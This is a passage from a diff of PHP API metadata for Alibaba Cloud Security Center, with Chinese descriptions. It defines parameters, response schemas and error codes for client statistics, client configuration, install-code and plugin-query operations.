+ ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DE725A60-95F2-50E8-8F5D-81055215E7DA\\"\\n}","type":"json"}]', + 'title' => '修改容器主动防御拦截策略开关', + ], + 'GetClientRatioStatistic' => [ + 'summary' => '查询统计客户端的在线率、安装率。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasGC725T', + ], + ], + 'parameters' => [ + [ + 'name' => 'TimeStart', + 'in' => 'query', + 'schema' => [ + 'description' => '统计起始时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1671382800000', + ], + ], + [ + 'name' => 'TimeEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '统计结束时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1686412799999', + ], + ], + [ + 'name' => 'StatisticTypes', + 'in' => 'query', + 'style' => 'flat', + 'schema' => [ + 'description' => '统计类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '统计类型。'."\n" + ."\n" + .'- **INSTALL**：安装率'."\n" + .'- **ONLINE**：在线率', + 'type' => 'string', + 'required' => false, + 'example' => 'INSTALL', + ], + 'required' => false, + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7', + ], + 'ClientInstallRatio' => [ + 'description' => '客户端安装率统计数据。', + 'type' => 'object', + 'properties' => [ + 'HistoryItems' => [ + 'description' => '历史客户端安装率统计数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '历史客户端安装率统计数据。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量应用服务器', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + 'Items' => [ + 'description' => '客户端安装率统计数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '客户端安装率统计数据。', + 'type' => 'object', + 'properties' => [ + 'CalculateTime' => [ + 'description' => '计算时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1687759630045', + ], + 'AssetTotalCount' => [ + 'description' => '资产总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'InstallRatio' => [ + 'description' => '安装比率。单位：%。', + 'type' => 'number', + 'format' => 'double', + 'example' => '80.00', + ], + 'InstalledAssetCount' => [ + 'description' => '已安装客户端资产数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '80', + ], + ], + ], + ], + ], + ], + ], + 'CurrentItems' => [ + 'description' => '当前客户端安装率统计数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '当前客户端安装率统计数据。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'Items' => [ + 'description' => '厂商客户端安装率统计数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '客户端安装率统计数据。', + 'type' => 'object', + 'properties' => [ + 'CalculateTime' => [ + 'description' => '计算时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1687759630045', + ], + 'AssetTotalCount' => [ + 'description' => '资产总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'InstallRatio' => [ + 'description' => '安装比率。单位：%。', + 'type' => 'number', + 'format' => 'double', + 'example' => '70.00', + ], + 'InstalledAssetCount' => [ + 'description' => '已安装客户端资产数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '70', + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'ClientOnlineRatio' => [ + 'description' => '客户端在线率统计数据。', + 'type' => 'object', + 'properties' => [ + 'HistoryItems' => [ + 'description' => '历史客户端在线率统计数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '历史客户端在线率统计数据。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '服务器厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量级资产', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '7', + ], + 'Items' => [ + 'description' => '厂商历史客户端在线率统计列表。', + 'type' => 'array', + 'items' => [ + 'description' => '厂商历史客户端在线率统计。', + 'type' => 'object', + 'properties' => [ + 'CalculateTime' => [ + 'description' => '计算时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1687759630045', + ], + 'AssetInstallCount' => [ + 'description' => '已安装客户端资产数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '50', + ], + 'OnlineRatio' => [ + 'description' => '在线比率。单位：%。', + 'type' => 'number', + 'format' => 'double', + 'example' => '40.00', + ], + 'OnlineAssetCount' => [ + 'description' => '在线资产数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'CurrentItems' => [ + 'description' => '当前客户端在线率统计数据列表。', + 'type' => 'array', + 'items' => [ + 'description' => '当前客户端在线率统计数据。', + 'type' => 'object', + 'properties' => [ + 'Vendor' => [ + 'description' => '云资产厂商。取值：'."\n" + ."\n" + .'- **0**：阿里云资产'."\n" + .'- **1**：云外资产'."\n" + .'- **2**：IDC资产'."\n" + .'- **3**、**4**、**5**、**7**：其它云资产'."\n" + .'- **8**：轻量应用服务器', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '3', + ], + 'Items' => [ + 'description' => '厂商当前客户端在线率统计列表。', + 'type' => 'array', + 'items' => [ + 'description' => '厂商当前客户端在线率统计。', + 'type' => 'object', + 'properties' => [ + 'CalculateTime' => [ + 'description' => '计算时间戳。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1687759630045', + ], + 'AssetInstallCount' => [ + 'description' => '已安装客户端资产数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '50', + ], + 'OnlineRatio' => [ + 'description' => '在线比率。单位：%。', + 'type' => 'number', + 'format' => 'double', + 'example' => '20.00', + ], + 'OnlineAssetCount' => [ + 'description' => '在线资产数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'Dates' => [ + 'description' => '统计时间列表。', + 'type' => 'array', + 'items' => [ + 'description' => '统计时间。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1687104000000', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + [ + 'errorCode' => 'NeedBuy', + 'errorMessage' => 'This service shoule be purchased first.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7\\",\\n \\"ClientInstallRatio\\": {\\n \\"HistoryItems\\": [\\n {\\n \\"Vendor\\": 3,\\n \\"Items\\": [\\n {\\n \\"CalculateTime\\": 1687759630045,\\n \\"AssetTotalCount\\": 100,\\n \\"InstallRatio\\": 80,\\n \\"InstalledAssetCount\\": 80\\n }\\n ]\\n }\\n ],\\n \\"CurrentItems\\": [\\n {\\n \\"Vendor\\": 0,\\n \\"Items\\": [\\n {\\n \\"CalculateTime\\": 1687759630045,\\n \\"AssetTotalCount\\": 100,\\n \\"InstallRatio\\": 70,\\n \\"InstalledAssetCount\\": 70\\n }\\n ]\\n }\\n ]\\n },\\n \\"ClientOnlineRatio\\": {\\n \\"HistoryItems\\": [\\n {\\n \\"Vendor\\": 7,\\n \\"Items\\": [\\n {\\n \\"CalculateTime\\": 1687759630045,\\n \\"AssetInstallCount\\": 50,\\n \\"OnlineRatio\\": 40,\\n \\"OnlineAssetCount\\": 20\\n }\\n ]\\n }\\n ],\\n \\"CurrentItems\\": [\\n {\\n \\"Vendor\\": 3,\\n \\"Items\\": [\\n {\\n \\"CalculateTime\\": 1687759630045,\\n \\"AssetInstallCount\\": 50,\\n \\"OnlineRatio\\": 20,\\n \\"OnlineAssetCount\\": 10\\n }\\n ]\\n }\\n ]\\n },\\n \\"Dates\\": [\\n 1687104000000\\n ]\\n}","type":"json"}]', + 'title' => '查询客户端比率统计', + ], + 'ModifyClientConfStrategy' => [ + 'summary' => '修改客户端配置策略。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92355', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的资产的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '4fe8e1cd-3c37-4851-b9de-124da32c****', + ], + ], + [ + 'name' => 'Tag', + 'in' => 'query', + 'schema' => [ + 'description' => '客户端配置标签。', + 'type' => 'string', + 'required' => true, + 'example' => 'machineResource', + ], + ], + [ + 'name' => 'TagValue', + 'in' => 'query', + 'schema' => [ + 'description' => '客户端标签值。'."\n" + .'- major'."\n" + .'- advanced'."\n" + .'- basic', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'advanced', + ], + ], + [ + 'name' => 'TagExt', + 'in' => 'query', + 'schema' => [ + 'description' => '扩展标签。', + 'type' => 'string', + 'required' => false, + 'example' => 'auto', + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '资产实例的UUID列表。单次最多不超过500。', + 'type' => 'array', + 'items' => [ + 'description' => '资产实例的UUID列表。', + 'type' => 'string', + 'required' => false, + 'example' => '07a1300d-2198-4d0d-b1b3-c8da205e****', + ], + 'required' => false, + 'maxItems' => 500, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9089D0AB-835F-5663-AB5E-4FF646BB****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9089D0AB-835F-5663-AB5E-4FF646BB****\\"\\n}","type":"json"}]', + 'title' => '修改客户端配置策略', + ], + 'DescribeClientConfStrategy' => [ + 'summary' => '查询客户端不同标签的机器配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Tag', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的客户端资源标签。', + 'type' => 'string', + 'required' => true, + 'example' => 'machineResource', + ], + ], + [ + 'name' => 'TagValue', + 'in' => 'query', + 'schema' => [ + 'description' => '资产的标签值。'."\n" + .'- major'."\n" + .'- advanced'."\n" + .'- basic', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'major', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '返回数据总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5BD95679-D63A-4151-97D0-188432F****', + ], + 'TargetList' => [ + 'description' => '返回列表。', + 'type' => 'array', + 'items' => [ + 'description' => '返回列表。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '云安全中心客户端生成的uuid。', + 'type' => 'string', + 'example' => '2b1753a6-04d9-448e-ad17-7abdf19f****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"TotalCount\\": 100,\\n \\"RequestId\\": \\"5BD95679-D63A-4151-97D0-188432F****\\",\\n \\"TargetList\\": [\\n {\\n \\"Uuid\\": \\"2b1753a6-04d9-448e-ad17-7abdf19f****\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询客户端配置策略', + ], + 'ModifyClientConfSetup' => [ + 'summary' => '修改客户端的资源配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92354', + 'abilityTreeNodes' => [ + 'FEATUREsasFVYNUW', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'StrategyTag', + 'in' => 'query', + 'schema' => [ + 'description' => '策略标签类型。', + 'type' => 'string', + 'required' => true, + 'example' => 'machineResource', + ], + ], + [ + 'name' => 'StrategyTagValue', + 'in' => 'query', + 'schema' => [ + 'description' => '客户端策略标签值。'."\n" + .'- major'."\n" + .'- advanced'."\n" + .'- basic', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'major', + ], + ], + [ + 'name' => 'StrategyConfig', + 'in' => 'query', + 'schema' => [ + 'description' => '用户配置的客户端策略配置信息。'."\n" + ."\n" + .'- cpu: 客户端占用主机资源的最大cpu比例'."\n" + ."\n" + .'- mem: 客户端占用主机资源最大内存大小', + 'type' => 'string', + 'required' => false, + 'example' => '{'."\n" + .' "cpu": "20"'."\n" + .'}', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '60E24426-B910-5D7F-8B8B-3BCDC3FC****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"60E24426-B910-5D7F-8B8B-3BCDC3FC****\\"\\n}","type":"json"}]', + 'title' => '修改客户端配置安装程序', + ], + 'DescribeClientConfSetup' => [ + 'summary' => '查询客户端的资源配置信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92018', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'StrategyTag', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的客户端资源标签。', + 'type' => 'string', + 'required' => true, + 'example' => 'machineResource', + ], + ], + [ + 'name' => 'StrategyTagValue', + 'in' => 'query', + 'schema' => [ + 'description' => '设置的策略值。'."\n" + .'有以下三种类型：'."\n" + .'- major'."\n" + .'- advanced'."\n" + .'- basic', + 'type' => 'string', + 'required' => true, + 'enumValueTitles' => [], + 'example' => 'major', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '151F6EB6-D5F3-417A-AF7B-4D84975D****', + ], + 'ClientConf' => [ + 'description' => '客户端资源配置信息。', + 'type' => 'object', + 'properties' => [ + 'StrategyTagValue' => [ + 'description' => '设置的策略值。'."\n" + .'有以下三种类型：'."\n" + .'- major'."\n" + .'- advanced'."\n" + .'- basic', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'major', + ], + 'Config' => [ + 'description' => '客户端使用资源配置信息。', + 'type' => 'string', + 'example' => '{"mem":"200","cpu":"10","cpu_all":"0"}', + ], + 'StrategyTag' => [ + 'description' => '策略标签。', + 'type' => 'string', + 'example' => 'machineResource', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"151F6EB6-D5F3-417A-AF7B-4D84975D****\\",\\n \\"ClientConf\\": {\\n \\"StrategyTagValue\\": \\"major\\",\\n \\"Config\\": \\"{\\\\\\"mem\\\\\\":\\\\\\"200\\\\\\",\\\\\\"cpu\\\\\\":\\\\\\"10\\\\\\",\\\\\\"cpu_all\\\\\\":\\\\\\"0\\\\\\"}\\",\\n \\"StrategyTag\\": \\"machineResource\\"\\n }\\n}","type":"json"}]', + 'title' => '查询客户端配置步骤', + ], + 'DescribeInstallCode' => [ + 'summary' => '获取agent客户端安装命令的安装验证key。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Code\\": \\"200\\",\\n \\"RequestId\\": \\"A4EB8B1C-1DEC-5E18-BCD0-D1BBB393****\\"\\n}","type":"json"}]', + 'title' => '获取安装码', + ], + 'DeleteInstallCode' => [ + 'summary' => '删除安装码。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'delete', + ], + 'parameters' => [ + [ + 'name' => 'CaptchaCode', + 'in' => 'query', + 'schema' => [ + 'description' => '安装码。'."\n" + .'>您可以调用[DescribeInstallCodes](~~DescribeInstallCodes~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '1q****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D65AADFC-1D20-5A6A-8F6A-9FA53C0DC1F8\\"\\n}","type":"json"}]', + 'title' => '删除安装码', + ], + 'ListPluginForUuid' => [ + 'summary' => '查询资产的插件信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器UUID。'."\n" + .'> 调用[DescribeCloudCenterInstances](~~DescribeCloudCenterInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'bdb7071f-129d-4ceb-af80-4cf70c4571c6', + ], + ], + [ + 'name' => 'Types', + 'in' => 'query', + 'style' => 'simple', + 'schema' => [ + 'description' => '插件类型列表。', + 'type' => 'array', + 'items' => [ + 'description' => '插件类型。取值：'."\n" + ."\n" + .'- **auto_breaking**：防病毒类型'."\n" + .'- **ransomware_breaking**：防勒索（诱饵捕获）'."\n" + .'- **webshell\\_cloud_breaking**：网站后门连接防御'."\n" + .'- **alisecguard**：客户端自保护'."\n" + .'- **alinet**：恶意网络行为防御', + 'type' => 'string', + 'required' => false, + 'example' => 'auto_breaking', + ], + 'required' => false, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'AegisUuidTargetPluginConfigList' => [ + 'description' => '插件信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '插件信息。', + 'type' => 'object', + 'properties' => [ + 'PluginName' => [ + 'description' => '插件类型名称。取值：'."\n" + ."\n" + .'- **alihips**：执行病毒木马防护功能'."\n" + .'- **alisecguard**：执行攻击防护功能'."\n" + .'- **alinet**：防护网络侧对服务器发起攻击', + 'type' => 'string', + 'example' => 'alisecguard', + ], + 'PluginOnlineInstalled' => [ + 'description' => '插件是否已安装，取值：'."\n" + .'- **true**：已安装'."\n" + .'- **false**：未安装', + 'type' => 'boolean', + 'example' => 'true', + ], + 'PluginOnlineStatus' => [ + 'description' => '插件是否在线。取值：'."\n" + .'- **true**：在线'."\n" + .'- **false**：离线', + 'type' => 'boolean', + 'example' => 'true', + ], + 'PluginInstallCode' => [ + 'description' => '插件实例安装码。', + 'type' => 'string', + 'example' => 'k5O5nd', + ], + 'PluginVersion' => [ + 'description' => '插件版本。', + 'type' => 'string', + 'example' => '00_10', + ], + 'AegisSuspiciousConfigList' => [ + 'description' => '插件配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '插件配置信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '插件类型名称。取值：'."\n" + ."\n" + .'- **alihips**：执行病毒木马防护功能'."\n" + .'- **alisecguard**：执行攻击防护功能'."\n" + .'- **alinet**：防护网络侧对服务器发起攻击', + 'type' => 'string', + 'example' => 'alisecguard', + ], + 'Config' => [ + 'description' => '是否启用。取值：'."\n" + .'- **true**：启用'."\n" + .'- **false**：禁用', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Msg' => [ + 'description' => '插件授权绑定信息。取值：'."\n" + ."\n" + .'- **authorized**：已授权'."\n" + .'- **unauthorized**：未授权'."\n" + .'- **unbind**：未绑定'."\n" + .'- **nonsupport**：不支持', + 'type' => 'string', + 'example' => 'authorized', + ], + 'OverallConfig' => [ + 'description' => '是否全局配置。取值：'."\n" + .'- **true**：是'."\n" + .'- **false**：否', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"AegisUuidTargetPluginConfigList\\": [\\n {\\n \\"PluginName\\": \\"alisecguard\\",\\n \\"PluginOnlineInstalled\\": true,\\n \\"PluginOnlineStatus\\": true,\\n \\"PluginInstallCode\\": \\"k5O5nd\\",\\n \\"PluginVersion\\": \\"00_10\\",\\n \\"AegisSuspiciousConfigList\\": [\\n {\\n \\"Type\\": \\"alisecguard\\",\\n \\"Config\\": true,\\n \\"Msg\\": \\"authorized\\",\\n \\"OverallConfig\\": true\\n }\\n ]\\n }\\n ],\\n \\"Code\\": 200,\\n \\"Message\\": \\"successful\\"\\n}","type":"json"}]', + 'title' => '查询资产插件信息', + ], + 'AddInstallCode' => [ + 'summary' => '新增Agent客户端安装命令。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91901', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定需要资产绑定的分组ID。'."\n" + .'>调用[DescribeAllGroups ](~~DescribeAllGroups~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '8076980', + ], + ], + [ + 'name' => 'Os', + 'in' => 'query', + 'schema' => [ + 'description' => '实例的操作系统。默认值为**linux**。取值：'."\n" + ."\n" + .'- **linux**：linux'."\n" + ."\n" + .'- **windows**：windows', + 'type' => 'string', + 'required' => false, + 'example' => 'linux', + ], + ], + [ + 'name' => 'ExpiredDate', + 'in' => 'query', + 'schema' => [ + 'description' => '安装验证码有效日期。格式为13位时间戳。'."\n" + .'>安装验证码只有在有效期内才能使用。过期的安装验证码无法使用。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1680257463853', + ], + ], + [ + 'name' => 'VendorName', + 'in' => 'query', + 'schema' => [ + 'description' => '资产的服务商名称，默认**ALIYUN**。'."\n" + ."\n" + .'>调用[DescribeVendorList](~~DescribeVendorList~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ALIYUN', + ], + ], + [ + 'name' => 'OnlyImage', + 'in' => 'query', + 'schema' => [ + 'description' => '制作镜像。默认**false**，取值：'."\n" + ."\n" + .'- **false**：否'."\n" + ."\n" + .'- **true**：是', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'ProxyCluster', + 'in' => 'query', + 'schema' => [ + 'description' => '代理集群名。', + 'type' => 'string', + 